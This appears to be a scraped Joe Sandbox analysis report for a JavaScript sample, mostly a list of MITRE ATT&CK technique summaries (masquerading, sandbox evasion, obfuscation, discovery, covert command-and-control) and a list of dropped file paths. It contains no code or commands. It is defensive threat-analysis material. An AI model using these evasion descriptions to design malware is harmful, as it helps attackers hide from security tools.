Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 324865730118751586.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a296bc72-d389-412c-9bf6-35b8ea75383b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.652

Windows Analysis Report
324865730118751586.js